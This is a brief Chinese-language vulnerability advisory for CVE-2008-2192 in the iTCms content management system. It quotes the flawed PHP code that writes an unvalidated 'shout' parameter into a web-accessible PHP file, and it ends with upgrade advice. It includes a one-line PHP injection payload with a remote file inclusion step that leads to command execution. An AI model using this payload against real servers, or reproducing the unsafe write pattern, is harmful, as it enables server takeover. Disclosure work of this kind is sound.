CVE:CVE-2008-2192
CNNVD:CNNVD-200805-152
iTCms是由意大利人开发的开源内容管理系统。
iTCms实现上存在输入验证漏洞，远程攻击者可能利用此漏洞在服务器执行任意命令。
iTCms的box/MiniChat/boxpop.php文件中没有正确地验证shout参数的输入便写入到了Web可访问的文件：
if ($_POST["shout"]!="") 
$shout = $_POST['shout'];
} else if ($_GET["shout"]!=""){ $shout = $_GET["shout"];
}[...]
$shout = trim($shout); 
$shout = stripslashes($shout); 
$shout = str_replace ("\r\n", " [br] ", $shout); 
$shout = first($shout);[...]$FileName="data/shouts.php"
fwrite($FilePointer,"$name|^|$shout|^|$date|^|$time|^|$_SERVER[REMOTE_ADDR]|^|\n"); 
fclose($FilePointer);
因此远程攻击者可以在$shout变量中包含类似于<?php include($_GET['rfi']); ?>的代码执行data/shouts.php?rfi=[shell]。
solution:Upgrade itcms itcms to a higher version than 1.9,and avoid the version 1.9